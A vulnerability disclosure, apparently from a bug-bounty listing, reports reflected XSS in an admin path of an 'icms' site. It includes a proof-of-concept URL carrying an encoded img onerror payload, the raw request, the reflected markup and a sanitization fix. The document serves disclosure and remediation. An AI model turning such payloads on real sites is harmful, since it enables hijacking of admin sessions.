Lucene search

K
huntrLegpainsB00E6986-64E7-464E-BA44-E42476BFCDC4
HistoryAug 04, 2023 - 10:42 a.m.

Reflected XSS in URL path of '/admin/controllers/edit/activity/perms/'

2023-08-0410:42:58
legpains
www.huntr.dev
13
xss
url input
sanitization
admin session
reflected

EPSS

0.001

Percentile

23.8%

Description

/admin/controllers/edit/activity/perms/ takes input from the URL directly without sufficient sanitization leading to a Reflected XSS.

A valid admin session is required, without it, the user will be brought to the login page instead of the affected page.

Proof of Concept

  1. Login as an administrator
  2. Visit the following URL to trigger JavaScript code: http://icms.local/admin/controllers/edit/activity/perms/%22%3E%3Cimg%20src%3da%20onerror%3dalert(location.origin)%3E

Payload

"&gt;<img src>

Request:

GET /admin/controllers/edit/activity/perms/%22%3E%3Cimg%20src%3da%20onerror%3dalert(location.origin)%3E HTTP/1.1
Host: icms.local
[...]

The inserted input would then be reflected on the page like this:

&lt;form action="/admin/controllers/edit/activity/perms_save/"&gt;<img src>" method="post"&gt;

Remedial Action

It is recommended to sanitize the input before it is reflected on the affected page.

EPSS

0.001

Percentile

23.8%

Related for B00E6986-64E7-464E-BA44-E42476BFCDC4